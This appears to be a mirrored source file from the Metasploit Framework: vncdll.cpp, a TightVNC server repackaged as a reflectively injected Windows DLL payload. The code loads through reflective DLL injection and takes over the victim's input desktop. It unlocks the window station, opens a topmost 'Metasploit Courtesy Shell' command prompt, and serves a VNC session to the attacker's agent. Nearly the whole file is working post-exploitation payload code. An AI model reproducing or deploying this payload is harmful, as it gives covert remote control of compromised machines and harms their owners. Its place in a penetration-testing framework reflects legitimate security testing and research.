1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00
metasploit-framework/external/source/vncdll/winvnc/vncdll.cpp
2010-03-24 00:00:05 +00:00

365 lines
10 KiB
C++

/*
* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
* March 2010: TightVNC 1.3.10 source modified as standalone x86/x64 DLL.
* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
* Tested On x86 Windows: - NT4, 2000, XP, 2003, Vista, 2008, 7
* Tested On x64 Windows: - 2003, 2008R2, 7
* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*/
#include "stdhdrs.h"
#include "common.h"
#include "vncServer.h"
/*
* Use Reflective DLL Injection.
*/
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "ReflectiveLoader.c"
HANDLE hMessageMutex = NULL;
/*
* Post an arbitrary message back to a loader.
*/
DWORD vncdll_postmessage( AGENT_CTX * lpAgentContext, DWORD dwMessage, BYTE * pDataBuffer, DWORD dwDataLength )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hPipe = NULL;
BYTE * pBuffer = NULL;
char cNamedPipe[MAX_PATH] = {0};
DWORD dwWritten = 0;
DWORD dwLength = 0;
do
{
if( !lpAgentContext )
BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. invalid parameters", ERROR_INVALID_PARAMETER );
dwLength = sizeof(DWORD) + sizeof(DWORD) + dwDataLength;
pBuffer = (BYTE *)malloc( dwLength );
if( !pBuffer )
BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. pBuffer malloc failed", ERROR_INVALID_HANDLE );
memcpy( pBuffer, &dwMessage, sizeof(DWORD) );
memcpy( (pBuffer+sizeof(DWORD)), &dwDataLength, sizeof(DWORD) );
memcpy( (pBuffer+sizeof(DWORD)+sizeof(DWORD)), pDataBuffer, dwDataLength );
if( WaitForSingleObject( hMessageMutex, INFINITE ) != WAIT_OBJECT_0 )
BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. WaitForSingleObject failed", ERROR_INVALID_HANDLE );
_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", lpAgentContext->dwPipeName );
dprintf("[VNCDLL] vncdll_postmessage. pipe=%s, message=0x%08X, length=%d", cNamedPipe, dwMessage, dwDataLength);
while( TRUE )
{
hPipe = CreateFileA( cNamedPipe, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
if( hPipe != INVALID_HANDLE_VALUE )
break;
if( GetLastError() != ERROR_PIPE_BUSY )
BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. ERROR_PIPE_BUSY" );
if( !WaitNamedPipe( cNamedPipe, 20000 ) )
BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WaitNamedPipe timedout" );
}
if( dwResult == ERROR_SUCCESS )
{
if( !WriteFile( hPipe, pBuffer, dwLength, &dwWritten, NULL ) )
BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WriteFile dwMessage length failed" );
}
} while( 0 );
CLOSE_HANDLE( hPipe );
if( pBuffer )
free( pBuffer );
ReleaseMutex( hMessageMutex );
return dwResult;
}
/*
*
*/
VOID vncdll_unlockwindowstation( VOID )
{
HMODULE hUser32 = LoadLibrary( "user32.dll" );
if( hUser32 )
{
typedef BOOL (WINAPI * UNLOCKWINDOWSTATION)( HWINSTA );
UNLOCKWINDOWSTATION pUnlockWindowStation = (UNLOCKWINDOWSTATION)GetProcAddress( hUser32, "UnlockWindowStation" );
if( pUnlockWindowStation )
pUnlockWindowStation( GetProcessWindowStation() );
FreeLibrary( hUser32 );
}
}
/*
* Switch to the input desktop and set it as this threads desktop.
*/
HDESK vncdll_getinputdesktop( BOOL bSwitchStation )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HWINSTA hWindowStation = NULL;
HDESK hInputDesktop = NULL;
HWND hDesktopWnd = NULL;
do
{
if( bSwitchStation )
{
// open the WinSta0 as some services are attached to a different window station.
hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
if( !hWindowStation )
{
if( RevertToSelf() )
hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
}
// if we cant open the defaut input station we wont be able to take a screenshot
if( !hWindowStation )
BREAK_WITH_ERROR( "[VNCDLL] vncdll_getinputdesktop: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
// set the host process's window station to this sessions default input station we opened
if( !SetProcessWindowStation( hWindowStation ) )
BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: SetProcessWindowStation failed" );
}
// grab a handle to the default input desktop (e.g. Default or WinLogon)
hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
if( !hInputDesktop )
BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: OpenInputDesktop failed" );
// set this threads desktop to that of this sessions default input desktop on WinSta0
SetThreadDesktop( hInputDesktop );
} while( 0 );
return hInputDesktop;
}
/*
* Create the Metasploit Courtesy Shell
*/
VOID vncdll_courtesyshell( HDESK desk )
{
DWORD dwResult = ERROR_SUCCESS;
HWND hShell = NULL;
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
char name_win[256] = {0};
char name_des[256] = {0};
char name_all[1024] = {0};
do
{
dprintf( "[VNCDLL] vncdll_courtesyshell. desk=0x%08X", desk );
memset(name_all, 0, sizeof(name_all));
GetUserObjectInformation( GetProcessWindowStation(), UOI_NAME, &name_win, 256, NULL );
GetUserObjectInformation( desk, UOI_NAME, &name_des, 256, NULL );
_snprintf( name_all, sizeof(name_all)-1, "%s\\%s", name_win, name_des );
memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
memset( &si, 0, sizeof(STARTUPINFOA) );
si.cb = sizeof(STARTUPINFOA);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USEFILLATTRIBUTE;
si.wShowWindow = SW_NORMAL;
si.lpDesktop = name_all;
si.lpTitle = "Metasploit Courtesy Shell (TM)";
si.dwFillAttribute = FOREGROUND_RED|FOREGROUND_BLUE|FOREGROUND_GREEN|BACKGROUND_BLUE;
if( !CreateProcess( NULL, "cmd.exe", 0, 0, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi ) )
BREAK_ON_ERROR( "[VNCDLL] vncdll_courtesyshell. CreateProcess failed" );
CloseHandle( pi.hThread );
CloseHandle( pi.hProcess );
Sleep( 1000 );
hShell = FindWindow( NULL, "Metasploit Courtesy Shell (TM)" );
if( !hShell )
break;
SetWindowPos( hShell, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE );
} while( 0 );
}
/*
* Create and run a VNC server on this socket.
*/
DWORD vncdll_run( AGENT_CTX * lpAgentContext )
{
DWORD dwResult = ERROR_SUCCESS;
VSocketSystem * vsocketsystem = NULL;
vncServer * vserver = NULL;
HDESK desk = NULL;
WSADATA WSAData = {0};
SOCKET sock = 0;
BYTE bFlags = 0;
do
{
dprintf( "[VNCDLL] vncdll_run. Started..." );
if( !lpAgentContext )
BREAK_WITH_ERROR( "[VNCDLL] vncdll_run. invalid parameters", ERROR_INVALID_PARAMETER );
hMessageMutex = CreateMutex( NULL, FALSE, NULL );
desk = vncdll_getinputdesktop( TRUE );
vncdll_unlockwindowstation();
if( !lpAgentContext->bDisableCourtesyShell )
vncdll_courtesyshell( desk );
vsocketsystem = new VSocketSystem();
if( !vsocketsystem->Initialised() )
BREAK_WITH_ERROR( "[VNCDLL] vncdll_run. VSocketSystem Initialised failed", ERROR_NETWORK_ACCESS_DENIED );
vserver = new vncServer();
vncClientId cid = vserver->AddClient( lpAgentContext );
dprintf( "[VNCDLL-0x%08X] vncdll_run. Going into wait state... cid=%d", hAppInstance, cid );
WaitForSingleObject( lpAgentContext->hCloseEvent, INFINITE );
vserver->RemoveClient( cid );
} while( 0 );
dprintf( "[VNCDLL-0x%08X] vncdll_run. terminating...", hAppInstance );
delete vserver;
delete vsocketsystem;
CLOSE_HANDLE( hMessageMutex );
return 0;
}
/*
* Grab a DWORD value out of the command line.
* e.g. vncdll_command_dword( "/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:" ) == 0x41414141
*/
DWORD vncdll_command_dword( char * cpCommandLine, char * cpCommand )
{
char * cpString = NULL;
DWORD dwResult = 0;
do
{
if( !cpCommandLine || !cpCommand )
break;
cpString = strstr( cpCommandLine, cpCommand );
if( !cpString )
break;
cpString += strlen( cpCommand );
dwResult = strtoul( cpString, NULL, 0 );
} while( 0 );
return dwResult;
}
/*
* The real entrypoint for this app.
*/
VOID vncdll_main( char * cpCommandLine )
{
DWORD dwResult = ERROR_INVALID_PARAMETER;
__try
{
do
{
dprintf( "[VNCDLL] vncdll_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine );
if( !cpCommandLine )
break;
if( strlen( cpCommandLine ) == 0 )
break;
dprintf( "[VNCDLL] vncdll_main. lpCmdLine=%s", cpCommandLine );
if( strstr( cpCommandLine, "/v" ) )
{
AGENT_CTX * lpAgentContext = NULL;
lpAgentContext = (AGENT_CTX *)vncdll_command_dword( cpCommandLine, "/c:" );
dwResult = vncdll_run( lpAgentContext );
if( lpAgentContext )
{
int i = 0;
if( lpAgentContext->hCloseEvent )
CloseHandle( lpAgentContext->hCloseEvent );
/*for( i=0 ; i<4 ; i++ )
{
if( lpAgentContext->dictionaries[i] )
{
int size = ( sizeof(DICTMSG) + lpAgentContext->dictionaries[i]->dwDictLength );
memset( lpAgentContext->dictionaries[i], 0, size );
VirtualFree( lpAgentContext->dictionaries[i], 0, MEM_RELEASE );
}
}*/
memset( lpAgentContext, 0, sizeof(AGENT_CTX) );
VirtualFree( lpAgentContext, 0, MEM_RELEASE );
}
}
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
dprintf( "[VNCDLL] vncdll_main. EXCEPTION_EXECUTE_HANDLER" );
dwResult = ERROR_UNHANDLED_EXCEPTION;
}
dprintf( "[VNCDLL=0x%08X] vncdll_main. ExitThread dwResult=%d\n\n", hAppInstance, dwResult );
ExitThread( dwResult );
}
/*
* DLL entry point. If we have been injected via RDI, lpReserved will be our command line.
*/
BOOL WINAPI DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_PROCESS_ATTACH:
hAppInstance = hInstance;
if( lpReserved != NULL )
vncdll_main( (char *)lpReserved );
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}